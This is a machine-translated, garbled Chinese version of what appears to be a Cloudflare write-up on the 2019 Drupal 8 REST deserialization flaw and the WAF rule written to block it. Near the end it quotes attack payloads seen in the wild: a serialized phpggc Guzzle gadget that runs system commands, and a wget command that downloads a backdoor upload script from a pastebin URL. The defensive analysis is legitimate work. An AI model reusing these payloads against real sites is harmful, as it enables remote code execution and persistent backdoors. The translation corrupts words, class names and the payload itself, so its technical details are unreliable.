2019年2月20日，Drupal宣布他们发现了一个严重的漏洞，他们将在第二天发布一个补丁。Drupal是一个由我们的许多客户使用的内容管理系统，这使得我们的WAF能够以最快可能的。作为在Drupal发布补丁后，我们分析了它，以确定什么样的有效负载可以用来对付它，并创建了一些规则来缓解这些问题。通过分析补丁程序，我们能够将WAF规则组合起来，以保护运行中的cloudflare客户德鲁帕尔，我们在15分钟内确定了我们正在处理的漏洞类型。从这里，我们可以部署规则，在任何真正的攻击发生之前阻止漏洞攻击看到了。那个exploitAs Drupal的发布声明解释说，如果一个站点启用了drupal8restfulapi，或者它使用了8个模块中的一个，因为查看补丁而受到影响我们很快意识到这个漏洞是基于反序列化的。选项['allowed'u classes'=>FALSE]作为补丁的一部分添加到link和map字段类型中。这表示虽然这些项应该接收一些序列化的PHP，不存在提供序列化PHP的合法案例反对。这个这一点很重要，因为利用PHP中反序列化漏洞的最简单方法是提供一个序列化对象，该对象是在反序列化。生成更糟糕的情况是反序列化的执行与任何认证。我们还意识到，这意味着盲目地阻止所有序列化的PHP将破坏其预期的功能，因为显然这些字段应该接收特定种类的序列化PHP，例如数组或字符串。尽管正如PHP文档所指出的，反序列化不受信任的数据总是有风险的，即使在限制例外。这个Ambionics的博客文章很好地解释了漏洞的具体利用情况，当应用于Drupal 8 RESTful时API什么我们发现这个漏洞后，我们创建了几个规则来尝试用不同的方法来构建一个特征码来捕获攻击企图。在Drupal发布后的一个小时内，我们就在模拟模式下部署了这些应用程序，它可以记录潜在的恶意请求，而不会阻止它们。在监测了假阳性之后，我们对它们进行了几次改进他们。这个最终部署了D0020规则，该规则阻止了许多攻击者，如下图所示。当我们在2019年2月22日（星期五）晚7点左右观察到我们的第一次攻击时，该规则已经在"drop"模式下部署，到目前为止，它匹配到零个误报。这是不到48小时从宣布德鲁帕尔。图1： 攻击规则D0020，第一次攻击发生在2019年2月22日。这些第一次攻击利用phpggc的"guzzle/rce1"小工具，通过PHP的"system"函数调用linux命令"id"，与氛围学所做的完全一样。"O:24:"GuzzleHttp\Psr7\FnStream"的数量：2:{s:33："GuguzzleHTTP\Psr7\FnStreammethods"；a:1:{s:5:"close"；a:2:{i:0；O:23："GuguzzleHTTP\HandlerStackstack"：3:{s:32:"GuguzzleHTTP\HandlerStackhandler"；s:2:"id"；s:30："GuGuguzzleHTTP\HandlerStackStackStack"；a:1:{i:0；a:1:{i:0；a:1:0；s:6:"系统"；1}}}}}}s:31:"s:31:"Gulerstackcached；b:0；}i:1；s:7:"解析"；}}s： 9:"关闭"；a:2:{i:0；r:4；i:1；s:7："解决"；}}"在这之后，我们又看到了几次尝试使用这个小工具来执行各种有效负载，主要是为了测试目标服务器是否易受攻击。像"phpinfo"这样的东西，回响弦乐和表演计算我们看到的第一个恶意负载使用了同一个小工具，但这一次是为了将恶意负载从pastebin保存到用户的服务器.wget-O 1x.phphttps://pastebin.com/raw/nplq4493此脚本会在目标系统上设置后门，允许他们通过HTML表单将文件上传到服务器。这将使攻击者能够继续访问系统，即使随后对其进行了修补。